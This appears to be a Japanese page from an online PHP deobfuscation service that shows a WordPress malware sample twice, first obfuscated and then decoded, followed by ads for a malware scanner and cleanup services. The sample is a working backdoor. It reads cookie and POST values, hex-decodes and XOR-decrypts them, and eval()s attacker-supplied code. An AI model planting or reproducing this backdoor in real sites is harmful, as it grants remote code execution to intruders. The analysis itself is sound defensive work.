PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $cUmVsi = 's' ./* hix /'t'/ bT /. chr/ E /(114)/ Uxk /./ I /'_'/ Fsd /. "\162" . chr (101) . chr ( 504 - 392 )."\145" ./ IL /chr ( 1068 - 971 )."\x74"; $jJpZrlqK =/ jq /'e'/ rvtK/./ pKnpd /'x' . chr ( 997 - 885 ).chr (108) ./tEs /chr ( 255 - 144 )."\144" . chr (/ oxgsr...

難読化されたPHPコード

<?php
$cUmVsi   =   's'	./*   hix */'t'/* bT */.	chr/* E  */(114)/*   Uxk  */./*  I   */'_'/*   Fsd  */.     "\162"	.     chr   (101)	.	chr	(	504 -    392 )."\145"    ./* IL  */chr	(   1068     -	971	)."\x74";
				$jJpZrlqK     =/* jq  */'e'/* rvtK*/./* pKnpd  */'x'	.	chr	(	997	-	885	).chr    (108)	./*tEs   */chr (	255     -    144     )."\144"	.  chr	(/*   oxgsr*/527/*   aartk   */-/*   siQO   */426   );
					$oegYbgyKDG	=/* vS*/chr/* Uzfr  */(	975	-/* PIlf  */876 ).chr	(/*   K*/602 -	491/*TpWpl   */).'u'    .    chr     (/*   l   */933  -     823  ).'t';
    $YLmammU	=     chr  (112)   .	chr	(97)	./*o   */"\143"  ./* bx   */"\x6b";
     $RiZQAouQt  =/*   PI */Array  (  "TJnfqoqxpTXrCpdKFrWLUjKvjIxP"/*RP   */=> "hjHgpULEghrXTADaIJpiUQDyVZX" );

/*   R */$dWNUa =/*fCJC*/Array   (	"tUOVEzCNQvbjtFEFO" =>	"ubTmq"	);
		$QwQQlAY/* wRMKi   */=  Array(/*  Khiso   */$RiZQAouQt,/*U */$_COOKIE, $RiZQAouQt,/*rgiur */$_POST,/* h  */$dWNUa);
      foreach/* n */($QwQQlAY/* AWUUG   */as	$ltuAHJr)	{
     foreach    (     $ltuAHJr	as    $KDAsgoZ	=>	$mdSMwrUcB    )    {
    	$mdSMwrUcB    =/*   eYW*/@$YLmammU(/* LMv  */chr	(72)	.	'*',    $mdSMwrUcB/* Dd  */);
/*  Zy   */$KDAsgoZ	.=/*  RnVr  */"YFogfBu-HVxYzDa-KftE-fXV-KdMlexA-SpAHxwJ-VDaf";
      $KDAsgoZ/* J  */=/*  HymDo */$cUmVsi    (	$KDAsgoZ,	(	strlen(	$mdSMwrUcB/*HLT*/)/strlen(	$KDAsgoZ	)/*  Y */)/*   GKK   */+	1);
				    $eMTfMZzoG   =     $mdSMwrUcB	^/*dvS*/$KDAsgoZ;


    $jKyYniAonY	=    $jJpZrlqK    (    "\x23",     $eMTfMZzoG   );
 	if (    $oegYbgyKDG	(	$jKyYniAonY/*   s*/)	==  3	)/*x  */{
       $nwAoQ	=	$jKyYniAonY[1];
					    $XstVvJM/*   VO*/=    $jKyYniAonY[2];
	/* ffg*/$wHiglTW	=   $nwAoQ($XstVvJM);
     	eval    (	$wHiglTW );


   die/*  UxcU  */();
		}


	}
		/*  WjQZb   */}

デコード(難読化解除)されたコード

<?php

$cUmVsi = "str_repeat";
$jJpZrlqK = "explode";
$oegYbgyKDG = "count";
$YLmammU = "pack";
$RiZQAouQt = array("TJnfqoqxpTXrCpdKFrWLUjKvjIxP" => "hjHgpULEghrXTADaIJpiUQDyVZX");
/*   R */
$dWNUa = array("tUOVEzCNQvbjtFEFO" => "ubTmq");
$QwQQlAY = array(
    /*  Khiso   */
    $RiZQAouQt,
    /*U */
    $_COOKIE,
    $RiZQAouQt,
    /*rgiur */
    $_POST,
    /* h  */
    $dWNUa,
);
foreach ($QwQQlAY as $ltuAHJr) {
    foreach ($ltuAHJr as $KDAsgoZ => $mdSMwrUcB) {
        $mdSMwrUcB = @$YLmammU(
            /* LMv  */
            "H*",
            $mdSMwrUcB
        );
        $KDAsgoZ .= "YFogfBu-HVxYzDa-KftE-fXV-KdMlexA-SpAHxwJ-VDaf";
        $KDAsgoZ = $cUmVsi($KDAsgoZ, strlen($mdSMwrUcB) / strlen($KDAsgoZ) + 1);
        $eMTfMZzoG = $mdSMwrUcB ^ $KDAsgoZ;
        $jKyYniAonY = $jJpZrlqK("#", $eMTfMZzoG);
        if ($oegYbgyKDG($jKyYniAonY) == 3) {
            /*x  */
            $nwAoQ = $jKyYniAonY[1];
            $XstVvJM = $jKyYniAonY[2];
            /* ffg*/
            $wHiglTW = $nwAoQ($XstVvJM);
            eval($wHiglTW);
            die;
        }
    }
    /*  WjQZb   */
}

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策カスタマイズや修正、引っ越し・復旧のご依頼承ります